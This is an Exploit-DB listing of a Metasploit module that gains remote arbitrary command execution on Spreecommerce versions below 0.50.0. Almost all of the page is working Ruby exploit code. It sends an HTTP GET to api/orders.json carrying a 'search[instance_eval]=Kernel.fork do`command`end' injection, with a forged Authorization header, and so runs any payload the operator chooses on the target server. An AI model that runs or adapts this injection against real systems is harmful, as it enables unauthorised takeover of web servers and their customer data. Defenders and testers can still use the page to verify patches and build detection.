Spreecommerce < 0.50.0 - Arbitrary Command Execution (Metasploit)

EDB-ID:
17199

CVE:

EDB Verified: ✓

Author:
METASPLOIT

Type:
REMOTE

Exploit: / {}

Platform:
UNIX

Date:
2011-04-21

Vulnerable App:

```
##
# $Id: spree_searchlogic_exec.rb 12397 2011-04-21 19:38:42Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Spreecommerce < 0.50.0 Arbitrary Command
Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution
vulnerability in the
                    Spreecommerce API searchlogic. Unvalidated input is
called via the
                    Ruby send method allowing command execution.
            },
            'Author'         => [ 'joernchen <joernchen@phenoelit.de>
(Phenoelit)' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12397 $',
            'References'     =>
                [
                    [ 'OSVDB', '71900'],
                    [ 'URL',
'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ],

                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 31337,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                        }
                },
            'Platform'       => [ 'unix', 'linux' ],
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Apr 19 2011',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('URI', [true, "The path to the
Spreecommerce main site", "/"]),
                ], self.class)
    end

    def exploit
        command = Rex::Text.uri_encode(payload.encoded)
```

```
        urlconfigdir = datastore['URI'] + "api/orders.json?
search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
        res = send_request_raw({
            'uri'     => urlconfigdir,
            'method'  => 'GET',
            'headers' =>
            {
                'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present
                'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.1)',
                'Connection' => 'Close',
            }
        }, 0.4 ) #short timeout, we don't care about the response
        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
        end
        handler
    end

end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions